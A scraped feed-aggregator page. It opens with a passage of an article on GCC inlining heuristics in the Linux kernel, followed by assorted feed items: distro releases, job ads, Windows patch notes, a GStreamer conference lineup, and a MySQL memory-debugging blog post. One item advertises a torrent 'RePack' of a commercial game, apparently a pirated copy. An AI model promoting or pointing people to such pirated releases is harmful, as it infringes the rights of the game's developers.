asm volatile("1: ud2\n" "<strong>.pushsection</strong> __bug_table,\"aw\"\n" "2: .long 1b - 2b\n" /* bug_entry::bug_addr */ " .long %c0 - 2b\n" /* bug_entry::file */ " .word %c1\n" /* bug_entry::line */ " .word %c2\n" /* bug_entry::flags */ " .org 2b+%c3\n" "<strong>.popsection</strong>" : : "i" (__FILE__), "i" (__LINE__), "i" (flags),

"i" (sizeof(struct bug_entry)));

Ignoring the assembly shenanigans that this code uses, we can see that in practice it generates a single ud2 instruction. However, the compiler considers this code to be "big" and consequently oftentimes does not inline functions that use WARN() or similar functions.

The reason turns to be the newline characters (marked as '\n' above). The kernel compiler, GCC, is unaware to the code size that will be generated by the inline assembly. It therefore tries to estimate its size based on newline characters and statement separators (';' on x86). In GCC, we can see the code that performs this estimation in the estimate_num_insns() function:

int estimate_num_insns (gimple *stmt, eni_weights *weights) { ... case GIMPLE_ASM: { int count = asm_str_count (gimple_asm_string (as_a <gasm *> (stmt))); /* 1000 means infinity. This avoids overflows later with very long asm statements. */ if (count > 1000) count = 1000; return count; } ..

}

Note that this pattern, of saving data using inline assembly, is not limited to bugs and warnings. The kernel uses it for many additional purposes: exception tables, that gracefully handle an exception that is triggered inside the kernel; alternative instructions table, that tailors the kernel on boot-time to the specific CPU architecture extensions that are supported; annotations that are used for stack metadata validation by objtool and so on.

Before we get to solving this problem, a question needs to be raised: is the current behavior flawed at all? Eventually, the size of the kernel will increase if functions that use WARN(), for example, will be inlined. This increase in size can cause the kernel image to be bigger, and since the Linux kernel cannot be paged out, will also increase memory consumption. However, the main reason that the compiler strives to avoid inflation of the code size is to avoid pressure on the instruction cache, whose impact may offset inlining benefits. Moreover, the heuristics of other compiler optimizations (e.g., loop optimizations) depend on the size of the code.

Solving the problem is not trivial. Ideally, GCC would have used an integrated assembler, similarly to LLVM , which would give better estimation of the generated code size of inline assembly. Experimentally, LLVM seems to make the right inlining decisions and is not affected by new-lines or data that is set in other sections of the executable. Interestingly, it appears to do so even when the integrated assembler is not used for assembly. GCC, however, uses the GNU assembler after the code is compiled, which prevents it from getting a correct estimation of the code size.

Alternatively, the problem could have been solved by overriding GCC's code size estimation through a directive or a built-in function. However, looking at GCC code does not reveal a direct or indirect way to achieve this goal.

One may think that using the always_inline function attribute to force the compiler to inline functions would solve the problem. It appears that some have encountered the problem of poor inlining decisions in the past, without understanding the root-cause and used this solution . However, this solution has several drawbacks. First, it is hard to make and maintain these annotations. Second, this solution does not address other code optimizations the rely on code-size estimation. Third, the kernel uses various configurations and supports multiple CPU architectures, which may require a certain function to be inlined in some setups and not inlined in other. Finally, and most importantly, using always_inline can just push the problem upwards to calling functions, as we will later see.

Therefore, a more systematic solution is needed. The solution comes in the form of assembly macros that are set to hold the long assembly code, and use a single line inside the inline assembly that calls the macro. This solution does not only improve the generated machine code, but makes the assembly code more readable, as it prevents various quirks that are required in inline assembly, for example new-line characters. Moreover, in certain cases this change allows to consolidate the currently separate implementations that are used in C and assembly, which eases code maintenance.

Addressing the issue shows a performance improvement of tens of cycles for certain system calls, which are indeed not too notable. After addressing these issues, we see copy_overflow() and other functions disappear from the commonly non-inlined inline functions list.

<u>Instances Size Function Name</u> 9 000000000000012f t jhash 8 0000000000000011 t <strong>kzalloc</strong> 7 0000000000000017 t dst_output 5 000000000000002f t <strong>acpi_os_allocate_zeroed</strong>

5 0000000000000029 t <strong>acpi_os_allocate</strong>

However, we got some new ones. Lets try to understand where do they come from.

Constant computations and inlining

As shown, kzalloc () is not always inlined, although its code is very simple.

static inline void *kzalloc(size_t size, gfp_t flags) { return kmalloc(size, flags | __GFP_ZERO);

}

The assembly, again does not provide any answers as to why it is not inlined:

0xffffffff817929e0 <+0>: push %rbp 0xffffffff817929e1 <+1>: <strong>mov $0x14080c0,%esi</strong> 0xffffffff817929e6 <+6>: mov %rsp,%rbp 0xffffffff817929e9 <+9>: <strong>callq 0xffffffff8125d590 <__kmalloc></strong> 0xffffffff817929ee <+14>: pop %rbp

0xffffffff817929ef <+15>: retq

The answer to our question lies in kmalloc(), which is called by kzalloc() and is considered to have many instructions by GCC heuristics. kmalloc() is inlined since it is marked with the always_inline attribute, but its estimated instruction count is then attributed to the calling function, kzalloc() in this case. This result exemplifies why the use of the always_inline attribute is not a sufficient solution for code inlining problem.

Still, it is not clear why GCC estimates that kmalloc() would be compiled into many instructions. As shown, it is compiled into a single call to __kmalloc(). To answer this question, we need to follow kmalloc() code, which eventually uses the ilog2() macro to compute the log2 of an integer, in order to compute the page allocation order.

Here is a and shortened version of ilog2():

#define ilog2(n) \ ( \ __builtin_constant_p(n) ? ( \ /* <strong>Optimized version for constants</strong> */ \ (n) < 2 ? 0 : \ (n) & (1ULL << 63) ? 63 : \ (n) & (1ULL << 62) ? 62 : \ ... (n) & (1ULL << 3) ? 3 : \ (n) & (1ULL << 2) ? 2 : \ 1 ) : \ /* <strong>Another version for non-constants</strong> */ \ (sizeof(n) <= 4) ? \ __ilog2_u32(n) : \ __ilog2_u64(n) \

}

As shown, the macro first uses the built-in function __builtin_constant_p () to determine whether n is known to be a constant during compilation time. If n is known to be constant, a long series of conditions is evaluated to compute the result during compilation time, which allows further optimizations. Otherwise, if n is not known to be constant, a short code is emitted to compute during runtime the result. Yet, regardless of whether n is constant or not, all of the conditions in the ilog2() macro are evaluated during compilation time and do not translate into any machine code instructions.

However, although the generated code is efficient, it causes GCC, again, to estimate the number of instructions that ilog2() takes incorrectly. Apparently, the number of instructions is estimated before inlining decisions take place, and in this stage the compiler usually still does not know whether n is constant. Later, after inlining decisions are performed, GCC cannot update the instruction count estimation accordingly.

This inlining problem is not as common as the previous one, yet it is not rare. Bit operations (e.g., test_bit()) and bitmaps commonly use __builtin_constant_p() in the described manner. As a result, functions that use these facilities, for example cpumask_weight(), are not inlined.

A possible solution for this problem is to use the built-in __builtin_choose_expr() to test __builtin_constant_p() instead of using C if-conditions and conditional operators (?:) :

#define ilog2(n) \ ( \ <strong>__builtin_choose_expr</strong>(__builtin_constant_p(n), \ ((n) < 2 ? 0 : \ (n) & (1ULL << 63) ? 63 : \ (n) & (1ULL << 62) ? 62 : \ ... (n) & (1ULL << 3) ? 3 : \ (n) & (1ULL << 2) ? 2 : \ 1 )), \ (sizeof(n) <= 4) ? \ __ilog2_u32(n) : \ __ilog2_u64(n) \

}

This built-in is evaluated earlier in the compilation process, before inlining decisions are being made. Yet, there is a catch: as this built-in is evaluated earlier, GCC is only able to determine that an argument is constant for constant expressions, which can cause less efficient code to be generated. For instance, if a constant was given as a function argument, GCC will not be able to determine it is constant. In the following case, for example, the non-constant version will be used:

int bar(int n) { return ilog2(n) } int foo(int n) { return bar(n); }

v = foo(bar(5)); /* will use the non-constant version */

It is therefore questionable whether using __builtin_choose_expr() is an appropriate solution. Perhaps it is better to just mark functions such as kzalloc() with the always_inline attribute. Compiling using LLVM reveals, again, that LLVM inlining decisions are not negatively affected by the use of __builtin_constant_p().

Function attributes

Finally, there are certain function attributes that affect inlining decision. Using function attributes to set an optimization levels for specific functions can prevent the compiler from inlining the functions or functions that are called by them. The Linux kernel rarely uses such attributes, but one of its uses is in the KVM function vmx_vcpu_run () which is a very hot function that launches or resumes the virtual machine. The use of the optimization attribute in this function is actually just to prevent cloning of the function. Its side-effect is, however, that all the functions it uses are not inlined, including, for example the function to_vmx() :

0x0000000000000150 <+0>: push %rbp 0x0000000000000151 <+1>: <strong>mov %rdi,%rax</strong> 0x0000000000000154 <+4>: mov %rsp,%rbp 0x0000000000000157 <+7>: pop %rbp

0x0000000000000158 <+8>: retq

This function just returns as an output the same argument it got as an input. Not inlining functions that are called by vmx_vcpu_run() induces significant overhead, which can be as high as 10% for a VM-exit.

Finally, the cold function attribute causes inlining to be done less aggressively. This attribute informs the compiler that a function is unlikely to be executed, and the compiler, among other things, optimizes these functions for size rather than speed, which can result in very non-aggressive inlining decisions. All the __init and __exit functions, which are used during the kernel and modules (de)initializations are marked as cold . It is questionable whether this is the desired behavior.

Conclusions

Despite the fact that C appears to give us great control over the generated code, it is not always the case. Compiler extensions may be needed to give programmers greater control. Tools that analyze whether the generated binary is efficient, considering the source code, may be needed. In the meanwhile, there is no alternative to manual inspection of the generated binary code.

Thanks to Linus Torvalds, Hans Peter Anvin, Masahiro Yamada, Josh Poimboeuf, Peter Zijistra, Kees Cook, Ingo Molnar and others for their assistance in the analysis and in solving this problem.


          Emmabuntüs Debian Edition 2 Is Now Based on Debian GNU/Linux 9.5 "Stretch" ...      Cache   Translate Page      

Patrick d'Emmabuntüs informs Softpedia today about the availability of the Emmabuntüs Debian Edition 2 1.03 release of the Debian-based open-source operating system.

Coming about five months after the release of version 1.02, EmmabuntüsDebian Edition 2 has been updated over the weekend to version 1.03, which is now available for download . It's a bugfix release based on the latest Debian GNU/linux 9.5 "Stretch" operating system and featuring a mix of performance improvements, software updates, and cosmetic enhancements.

"This update is released to improve the current Emma DE2 by adding some functional, ergonomic as well as cosmetic features. This version anticipates what will be the next Emmabuntüs Debian Edition 3, based on the coming Debian 10, of which we plan to release an Alpha or Beta version in February-March 2019 time frame," said Patrick d'Emmabuntüs in the release announcement .

What's new in Emmabuntüs Debian Edition 2 1.03

Highlights of Emmabuntüs Debian Edition 2 1.03 include the ability to execute post-install scripts without the root password, new and more compact post-installation dialog windows, a new welcome dialog, support for Flatpak apps, a script to optimize the Swap usage, a script for installing theSteam for Linux client, shortcuts to user folders, and automatic swap activation in live mode.

Emmabuntüs Debian Edition 2 1.03 ships with MozillaFirefox 60.2,Skype 8.26, HPLip 3.18.6, and TurboPrint 2.46. It also adds the PDF-Shuffler and Gscan2pdf apps, a screen lock app for the LXDE desktop environment, Bluetooth activation management, and support for mounting hard disk drives or internal partitions without the root password. The Emmabuntüs Wiki was updated as well.

Other than that, this release improves the desktop integration and the wallpaper management when starting Xfce, fixes various issues with the WhiskerMenu application launcher, Thunar shortcuts, Chromium icon, the links to the user directory in Cairo-Dock configuration files, as well as the ability to launch binaries in sbin. It also removes FBReader and replaces PyRenamer with ThunarBulkRename.


          Comment on COURAGE NEEDED: Congestion Pricing Leads Pols into ‘Political Death Valley’ by LinuxGuy      Cache   Translate Page      
A large portion of people who live in cities do not work, as they are on some form of public assistance.
          Linux System Administrator - Resolvit, LLC - Madison, WI      Cache   Translate Page      
Through its partnerships, Resolvit delivers highly impactful, innovative solutions across five core areas:. At Resolvit, you’ll be given the support you need to...
From Resolvit, LLC - Mon, 27 Aug 2018 23:22:32 GMT - View all Madison, WI jobs
          Linux Security Engineer - Resolvit, LLC - Richmond, VA      Cache   Translate Page      
Through its partnerships, Resolvit delivers highly impactful, innovative solutions across five core areas:. Join Resolvit as an Identity Management Engineer and...
From Resolvit, LLC - Sun, 30 Sep 2018 17:23:36 GMT - View all Richmond, VA jobs
          Linux Security Engineer - Resolvit, LLC - Virginia      Cache   Translate Page      
Through its partnerships, Resolvit delivers highly impactful, innovative solutions across five core areas:. At Resolvit, you’ll be given the support you need to...
From Resolvit, LLC - Sun, 30 Sep 2018 17:22:38 GMT - View all Virginia jobs
          6 Commands To Shutdown And Reboot The Linux System From Terminal      Cache   Translate Page      

2DayGeek: This tutorial helps you to shutdown and reboot the Linux machine in many ways.


          Deepin 15.7 Installation Guide for Laptop / Desktop with Screenshots      Cache   Translate Page      

LinuxBuzz: Deepin is a free and open-source Debian based linux distribution.


          How to Use Fail2ban to Secure Your Linux Server      Cache   Translate Page      

TecMint: By reviewing your server logs, you may often find different attempts for brute force login, web floods, exploit seeking and many others.


          12 Useful Linux Commands for New Users      Cache   Translate Page      

Here are 12 useful Linux commands you should know as a Linux user.


          Software Engineer - CACI - Reston, VA      Cache   Translate Page      
Experience using Unix like OS (Solaris, Linux, Unix, Irix, HPUX, SCO, etc..). CACI is seeking a Software Engineer in Reston, VA....
From CACI - Thu, 20 Sep 2018 10:41:54 GMT - View all Reston, VA jobs
          The Universim [v 0.0.27.20828 | Early Access] (2018) PC | RePack от SpaceX      Cache   Translate Page      

The Universim


Год выхода: 2018

Жанр: Simulation, Strategy, Indie

Разработчик/Издательство: Crytivo

Язык интерфейса: EN/FR/DE/IT/ES/BR + Русский

Язык озвучки: Английский

Тип издания: RePack

Таблетка: Не требуется (GOG | DRM-free)

Операционная система: Microsoft® Windows® 7 / 8 / 10 (64 Bit)

Процессор: Intel® Core™ i3 2.66 GHz

Оперативная память: 4096 Mb

Звуковая плата: Аудиокарта, совместимая с DirectX® 9.0с

Графический ускоритель: 2048 Mb, OpenGL 3.0

Свободное место на HDD: 2 Gb

The Universim – это маленькая красивая игра в жанре "Симулятор Бога". Переходите непосредственно к управлению над Вашими собственными планетами; проведите цивилизацию сквозь века. Создайте непоколебимую империю. Это - Ваш мир, и ничто не остановит Вас на пути к бесконечному веселью!


Update v0.0.27.20828
Особенности Игры
Особенности RePack


10.10.18 - Торрент обновлен. Игра обновлена до версии v0.0.27 build 20828


Категория: Игры
          Comment on 2:00PM Water Cooler 10/9/2018 by Daryl      Cache   Translate Page      
Shouldn't be a problem if you toss Linux on there ;)
          Trắc nghiệm về Quản trị mạng Linux có đáp án P4      Cache   Translate Page      
Mời bạn đọc tham gia thử sức với những câu hỏi trắc nghiệm với chủ đề Linux sau đây của Quản trị mạng. Sẽ có 10 câu hỏi, mỗi câu gồm 4 đáp án, hãy lựa chọn đáp án chính xác nhất nhé.
          Senior Systems Engineer (Linux) - Symmetry - Brookfield, WI      Cache   Translate Page      
Provide primary technical and maintenance support for Linux, Windows, UNIX, Virtualization Technologies, Intel hardware and software....
From Symmetry - Tue, 26 Jun 2018 19:21:26 GMT - View all Brookfield, WI jobs
          C++ / Linux Developer - Crystal - Duluth, GA      Cache   Translate Page      
Digital video broadcasting. Crystal has an immediate need for mid-level and senior C++ developers....
From Crystal - Tue, 18 Sep 2018 08:29:30 GMT - View all Duluth, GA jobs
          Support Engineer - Crystal - Duluth, GA      Cache   Translate Page      
Digital video broadcasting. Crystal has an immediate need for mid-level and senior Linux support engineers....
From Crystal - Sat, 28 Jul 2018 07:30:41 GMT - View all Duluth, GA jobs
          Nuevas acumulativas de Octubre para varias versiones de Windows 10      Cache   Translate Page      

Una nueva actualización acumulativa Build 17763.55 se ha lanzado para los usuarios de Windows 10 October 2018 Update, correspondiente a la versión 1809 y que llega con el código de parche KB4464330.

Como acumulativa viene con pocas novedades y solo se referencian dos novedades que os detallamos a continuación:

Soluciona un problema de vencimiento de la política de grupo que afectaba a un cálculo incorrecto en la temporización que podía eliminar prematuramente perfiles en dispositivos sujetos a la condición “Eliminar perfiles de usuario anteriores a un número especificado de dias.”Actualizaciones de seguridad para Windows Kernel, Microsoft Graphics Component, Microsoft Scripting Engine, Internet Explorer, Windows Storage and Filesystems, Windows Linux, Windows Wireless Networking, Windows MSXML, the Microsoft JET Database Engine, Windows Peripherals, Microsoft Edge, Windows Media Player e Internet Explorador.

También para versiones anteriores

Si estas en la versión 1803 del Windows 10, correspondiente a la April 2018 Update, la compilación que estarás recibiendo es la Build 17134.345 como parche KB4462919, que viene solamente con las actualizaciones de seguridad del Kernel, componentes gráficos, Edge, etc,

Si aún permaneces en la versión 1709, es decir en la Fall Creators Update, la que habrás recibido es el parche KB4462918 correspondiente a la Build 16299.726, que viene con actualizaciones de seguridad. Mientras que los usuarios en la Creators Update, versión 1703, reciben el parche KB4462937 o lo que es lo mismo la Build 15063.1387 con mas actualizaciones de seguridad.

Como es habitual esta actualización llega via Windows Update.

La entrada Nuevas acumulativas de Octubre para varias versiones de Windows 10 se publicó primero en OneWindows - Windows 10, Mobile y WP, noticias y aplicaciones.


          微软发布10月补丁修复51个安全问题      Cache   Translate Page      
微软于周二发布了10月安全更新补丁,修复了51个从简单的欺骗攻击到远程执行代码的安全问题,产品涉及.NET Core、Azure、Device Guard、Internet Explorer、Microsoft Edge、Microsoft Exchange Server、Microsoft Graphics Component、Microsoft JET Database Engine、Microsoft Office、Microsoft Office SharePoint、Microsoft Scripting Engine、Microsoft Windows、Microsoft Windows DNS、Microsoft XML Core Services、SQL Server、Windows - Linux、Windows Hyper-V、Windows Kernel、Windows Media Player以及Windows Shell。
          need script for server to get scores from sites and post to server      Cache   Translate Page      
i need help with a script that will run over and over going to a few websites getting scores of various teams and sports. and then printing the data on a page on my server in a format we set (Budget: $30 - $250 USD, Jobs: HTML, Javascript, Linux, MySQL, PHP)
          need to simulate sim-outorder simulator from simplescalar suite. You will need a unix system for this exercise.      Cache   Translate Page      
The simulator can be downloaded from here: http://www.simplescalar.com/. You need to download simplesim-3v0e.tgz file The benchmarks can be downloaded from here: http://faculty.cse.tamu.edu/djimenez/614-spring14/hw4/benchmarks/index.html... (Budget: ₹600 - ₹1500 INR, Jobs: C Programming, C++ Programming, Java, Linux, Python)
          GStreamer: GStreamer Conference 2018: Talks Abstracts and Speakers Biographies now available      Cache   Translate Page      

The GStreamer Conference team is pleased to announce that talk abstracts and speaker biographies are now available for this year's lineup of talks and speakers, covering again an exciting range of topics!

The GStreamer Conference 2018 will take place on 25-26 October 2018 in Edinburgh (Scotland) just after the Embedded Linux Conference Europe (ELCE).

Details about the conference and how to register can be found on the conference website.

This year's topics and speakers:

Lightning Talks:

  • gst-mfx, gst-msdk and the Intel Media SDK: an update (provisional title)
    Haihao Xiang, Intel
  • Improved flexibility and stability in GStreamer V4L2 support
    Nicolas Dufresne, Collabora
  • GstQTOverlay
    Carlos Aguero, RidgeRun
  • Documenting GStreamer
    Mathieu Duponchelle, Centricular
  • GstCUDA
    Jose Jimenez-Chavarria, RidgeRun
  • GstWebRTCBin in the real world
    Mathieu Duponchelle, Centricular
  • Servo and GStreamer
    Víctor Jáquez, Igalia
  • Interoperability between GStreamer and DirectShow
    Stéphane Cerveau, Fluendo
  • Interoperability between GStreamer and FFMPEG
    Marek Olejnik, Fluendo
  • Encrypted Media Extensions with GStreamer in WebKit
    Xabier Rodríguez Calvar, Igalia
  • DataChannels in GstWebRTC
    Matthew Waters, Centricular
  • Me TV – a journey from C and Xine to Rust and GStreamer, via D
    Russel Winder
  • ...and many more
  • ...
  • Submit your lightning talk now!

Many thanks to our sponsors, Collabora, Pexip, Igalia, Fluendo, Facebook, Centricular and Zeiss, without whom the conference would not be possible in this form. And to Ubicast who will be recording the talks again.

Considering becoming a sponsor? Please check out our sponsor brief.

We hope to see you all in Edinburgh in October! Don't forget to register!


          add domain to linux mail server      Cache   Translate Page      
includes ssl, spf, dkim. secure and configure. (Budget: $10 - $30 USD, Jobs: DNS, Linux, System Admin)
          need script for server to get scores from sites and post to server      Cache   Translate Page      
i need help with a script that will run over and over going to a few websites getting scores of various teams and sports. and then printing the data on a page on my server in a format we set (Budget: $30 - $250 USD, Jobs: HTML, Javascript, Linux, MySQL, PHP)
          Comment on Creating Static Executables on Linux by Mahesh Hegde      Cache   Translate Page      
Eh? static linking is nice if you have only one or two application to run eg: docker containers. However, in case of complete systems dynamic linking can help avoid duplication of libraries.
          Talent International: Contract Linux Kernel Engineer (Embedded)      Cache   Translate Page      
£350 - £425 per day: Talent International: Contract Linux Kernel Engineer (Embedded) One of Talent International's clients in the SW requires an embedded c++ engineer on a contract basis. I am looking for solid Linux candidates, with PCI, DMA device driver experience ideally. KEY SKILLS/EXPERIENCE Bath
          [Linux] Re: Kako da symlinkujem Trash      Cache   Translate Page      
Ne vredi jedino u .local/share/Trash stavlja i to je to.
          [Linux] Re: Kako da symlinkujem Trash      Cache   Translate Page      
Možda ovo pomogne: Citat: "(1) An administrator can create an $topdir/.Trash directory. The permissions on this directories should permit all users who can trash files at all to write in it.; and the “sticky bit” in the permissions must be set, if the file system supports it. When trashing a file from a non-home partition/device4 , an implementation (if it supports trashing in top directories) MUST check for the presence of $topdir/.Trash. When preparing a list of all trashed files (for exampl...
          [Linux hardware] Re: Linux i Nvidia grafulja      Cache   Translate Page      
Šta da radim, KDE više nudi pa mora malo više i da traži. ;) Jutros sam proverio, Ubuntu Mate 15.04 koji sam zatekao radi sa linux drajverima a meni Manjaro poludi kad ih podesim i neće preko 1280*1024. U svakom slučaju mi se čini da sam odradio sa 14.04 a 16.04 ću da probam kasnije ili sutra.
          [Linux hardware] Re: Linux i Nvidia grafulja      Cache   Translate Page      
A, da. Tebe hebe K. Probaj, možda i funkcioniše. Za bez hwe sam rekao, da ne bi morao da paziš na promenu jezgra. Ono, ostaneš na 4.4 mi se čini. Dovoljno je stara makina da ne misliš na to. A i nVidija je "poznata" po dkms problemima. Dodadatni plus je da ne misliš o problemima prilikom ažuriranja. Nema velikih promena, nema ( velikih ) problema.
          [Linux hardware] Re: Linux i Nvidia grafulja      Cache   Translate Page      
Koristim KDE varijantu, to sam ga naučio i nema promene. Mogu da probam Kubuntu 16.04 na particiji gde je sada 18.04 ... ali misliš da ga ne apgrejdujem dalje? Plazma je bila blagi očaj prvih meseci pa ne bih da ne radi većina normalnih funkcija.
          [Linux hardware] Re: Linux i Nvidia grafulja      Cache   Translate Page      
OpenGL teško preko 2.1 Jesi probao 16.04 Ubuntu ? Ako planiraš, probaj prve dve verzije, bez hwe. Probaj obavezno i hw ubrzanje h264 i yt uz h264ify ekstenziju.
          USB IDE SATA ÁTALAKÍTÓ SZETT - Jelenlegi ára: 3 900 Ft      Cache   Translate Page      

USB IDE SATA 2. 5/3. 5 ÁTALAKÍTÓ SZETT
Gyors hozzáférést biztosít bármilyen SATA / IDE eszközhöz USB port segítségével.
Jellemzők:
Bármely 2. 5''-os, 3. 5''-os és 5, 25''-os IDE/SATA eszközhöz
Bármely IDE/SATA csatolós notebook merevlemezhez is!
Használható külső eszközként: Bármely SATA és (IDE/ATAPI) HDD, CD-Rom, CD-R, CD-RW, DVD-ROM, DVD-RAM, DVD+-RW, COMBO egységet USB meghajtó-ként kezeli
Támogatás: Windows 98/SE/2000/Me/XP/Vista, Win7, Linux, Mac OS.
USB 1. 1/2. 0 kompatibilis
Csomag tartalma:
1 darab USB 2. 0 to SATA / IDE adapter
1 darab tápegység tápkábellel
1 darab SATA kábel
1 darab SATA tápkábel
Kattints ide, és nézd meg a többi termékemet is!
Doboz nélkül
Vásárlás után kb. 15 perccel megérkezik a Vatera által kiküldött automatikus levél, abban minden információt megtalál az adás-vétellel kapcsolatban.  

USB IDE SATA  ÁTALAKÍTÓ SZETT
Jelenlegi ára: 3 900 Ft
Az aukció vége: 2018-10-28 22:25
          Telecommute Software Support Engineer      Cache   Translate Page      
A software developer needs applicants for an opening for a Telecommute Software Support Engineer. Must be able to: Integrate their identity/authentication infrastructure Assist our customers to install our software Interact with customers directly to troubleshoot technical issues Must meet the following requirements for consideration: Must be able to travel periodically to work with customers on-site or to attend our meetups Experience with Linux and Windows (90% of our customers use Windows Server) Must be fluent in networking technologies such as TCP/IP, HTTP(S), and Ethernet Able to dive into a deep investigation with tools like Wireshark, tcpdump, TCPView, Process Explorer and the rest of the Sysinternals Windows power tools
          Telecommute Containers Subject Matter Expert      Cache   Translate Page      
A technology company is filling a position for a Telecommute Containers Subject Matter Expert. Candidates will be responsible for the following: Designing platforms Supporting platforms Creating and maintaining customer loyalty Position Requirements Include: Willingness to travel Bachelor’s degree in Computer Science, Technology, a related field, or equivalent experience RHCE certified Linux skills with at least 8 years of Sys Admin experience in a production Linux environment A passion for container technology and open cloud standards. Must meet all other listed company requirements
          How max_prepared_stmt_count bring down the production MySQL system      Cache   Translate Page      
MySQL Adventures: How max_prepared_stmt_count can bring down production We recently moved an On-Prem environment to GCP for better scalability and availability. The customer’s main database is MySQL. Due to the nature of customer’s business, it’s a highly transactional workload (one of the hot startups in APAC). To deal with the scale and meet availability requirements, we have deployed MySQL behind ProxySQL — which takes care of routing some of the resource intensive SELECTs to chosen replicas. The setup consists of: One Master Two slaves One Archive database server Post migration to GCP, everything was nice and calm for a couple of weeks, until MySQL decided to start misbehaving and leading to an outage. We were able to quickly resolve and bring the system back online and what follows are lessons from this experience. The configuration of the Database: CentOS 7. MySQL 5.6 32 Core CPU 120GB Memory 1 TB SSD for MySQL data volume. The total database size is 40GB. (yeah, it is small in size, but highly transactional) my.cnf is configured using Percona’s configuration wizard. All tables are InnoDB Engine No SWAP partitions. The Problem It all started with an alert that said MySQL process was killed by Linux’s OOM Killer. Apparently MySQL was rapidly consuming all the memory (about 120G) and OOM killer perceived it as a threat to the stability of the system and killed the process. We were perplexed and started investigating. Sep 11 06:56:39 mysql-master-node kernel: Out of memory: Kill process 4234 (mysqld) score 980 or sacrifice child Sep 11 06:56:39 mysql-master-node kernel: Killed process 4234 (mysqld) total-vm:199923400kB, anon-rss:120910528kB, file-rss:0kB, shmem-rss:0kB Sep 11 06:57:00 mysql-master-node mysqld: /usr/bin/mysqld_safe: line 183: 4234 Killed nohup /usr/sbin/mysqld --basedir=/usr --datadir=/mysqldata --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mysqld.log --open-files-limit=65535 --pid-file=/var/run/mysqld/mysqld.pid --socket=/mysqldata/mysql.sock < /dev/null > /dev/null 2>&1 Naturally, we started looking at mysql configuration to see if something is off. InnoDB Parameters: innodb-flush-method = O_DIRECTinnodb-log-files-in-group = 2innodb-log-file-size = 512Minnodb-flush-log-at-trx-commit = 1innodb-file-per-table = 1innodb-buffer-pool-size = 100G Other Caching Parameters: tmp-table-size = 32Mmax-heap-table-size = 32Mquery-cache-type = 0query-cache-size = 0thread-cache-size = 50open-files-limit = 65535table-definition-cache = 4096table-open-cache = 50 We are not really using query cache and one of the heavy front end service is PHP Laravel. Here is the memory utilization graph. The three highlighted areas are the points at which we had issues in production. The second issue happened very shortly, so we reduced the innodb-buffer-pool-size to 90GB. But even though the memory utilization never came down. So we scheduled a cronjob to flush OS Cache at least to give some addition memory to the Operating system by using the following command. This was a temporary measure till we found the actual problem. sync; echo 3 > /proc/sys/vm/drop_cache But This didn’t help really. The memory was still growing and we had to look at what’s really inside the OS Cache? Fincore: There is a tool called fincore helped me find out what’s actually the OS cache held. Its actually using Perl modules. use the below commands to install this. yum install perl-Inline rpm -ivh http://fr2.rpmfind.net/linux/dag/redhat/el6/en/x86_64/dag/RPMS/fincore-1.9-1.el6.rf.x86_64.rpm It never directly shows what files are inside the buffer/cache. We instead have to manually give the path and it’ll check what files are in the cache for that location. I wanted to check about Cached files for the mysql data directory. cd /mysql-data-directory fincore -summary * > /tmp/cache_results Here is the sample output of the cached files results. page size: 4096 bytesauto.cnf: 1 incore page: 0dbadmin: no incore pages.Eztaxi: no incore pages.ibdata1: no incore pages.ib_logfile0: 131072 incore pages: 0 1 2 3 4 5 6 7 8 9 10......ib_logfile1: 131072 incore pages: 0 1 2 3 4 5 6 7 8 9 10......mysql: no incore pages.mysql-bin.000599: 8 incore pages: 0 1 2 3 4 5 6 7mysql-bin.000600: no incore pages.mysql-bin.000601: no incore pages.mysql-bin.000602: no incore pages.mysql-bin.000858: 232336 incore pages: 0 1 2 3 4 5 6 7 8 9 10......mysqld-relay-bin.000001: no incore pages.mysqld-relay-bin.index: no incore pages.mysql-error.log: 4 incore pages: 0 1 2 3mysql-general.log: no incore pages.mysql.pid: no incore pages.mysql-slow.log: no incore pages.mysql.sock: no incore pages.ON: no incore pages.performance_schema: no incore pages.mysql-production.pid: 1 incore page: 0 6621994 pages, 25.3 Gbytes in core for 305 files; 21711.46 pages, 4.8 Mbytes per file. The highlighted points show the graph when OS Cache is cleared.How we investigated this issue: The first document that everyone refers is How mysql uses the memory from MySQL’s documentation. So we started with where are all the places that mysql needs memory. I’ll explain this about in a different blog. Lets continue with the steps which we did. Make sure MySQL is the culprit: Run the below command and this will give you the exact memory consumption about MySQL. ps --no-headers -o "rss,cmd" -C mysqld | awk '{ sum+=$1 } END { printf ("%d%s\n", sum/NR/1024,"M") }' 119808M Additional Tips: If you want to know each mysql’s threads memory utilization, run the below command. # Get the PID of MySQL:ps aux | grep mysqld mysql 4378 41.1 76.7 56670968 47314448 ? Sl Sep12 6955:40 /usr/sbin/mysqld --basedir=/usr --datadir=/mysqldata --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mysqld.log --open-files-limit=65535 --pid-file=/var/run/mysqld/mysqld.pid --socket=/mysqldata/mysql.sock # Get all threads memory usage:pmap -x 4378 4378: /usr/sbin/mysqld --basedir=/usr --datadir=/mysqldata --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mysqld.log --open-files-limit=65535 --pid-file=/var/run/mysqld/mysqld.pid --socket=/mysqldata/mysql.sockAddress Kbytes RSS Dirty Mode Mapping0000000000400000 11828 4712 0 r-x-- mysqld000000000118d000 1720 760 476 rw--- mysqld000000000133b000 336 312 312 rw--- [ anon ]0000000002b62000 1282388 1282384 1282384 rw--- [ anon ]00007fd4b4000000 47816 37348 37348 rw--- [ anon ]00007fd4b6eb2000 17720 0 0 ----- [ anon ]00007fd4bc000000 48612 35364 35364 rw--- [ anon ]...........................00007fe1f0075000 2044 0 0 ----- libpthread-2.17.so00007fe1f0274000 4 4 4 r---- libpthread-2.17.so00007fe1f0275000 4 4 4 rw--- libpthread-2.17.so00007fe1f0276000 16 4 4 rw--- [ anon ]00007fe1f027a000 136 120 0 r-x-- ld-2.17.so00007fe1f029c000 2012 2008 2008 rw--- [ anon ]00007fe1f0493000 12 4 0 rw-s- [aio] (deleted)00007fe1f0496000 12 4 0 rw-s- [aio] (deleted)00007fe1f0499000 4 0 0 rw-s- [aio] (deleted)00007fe1f049a000 4 4 4 rw--- [ anon ]00007fe1f049b000 4 4 4 r---- ld-2.17.so00007fe1f049c000 4 4 4 rw--- ld-2.17.so00007fe1f049d000 4 4 4 rw--- [ anon ]00007ffecc0f1000 132 72 72 rw--- [ stack ]00007ffecc163000 8 4 0 r-x-- [ anon ]ffffffffff600000 4 0 0 r-x-- [ anon ]---------------- ------- ------- ------- total kB 122683392 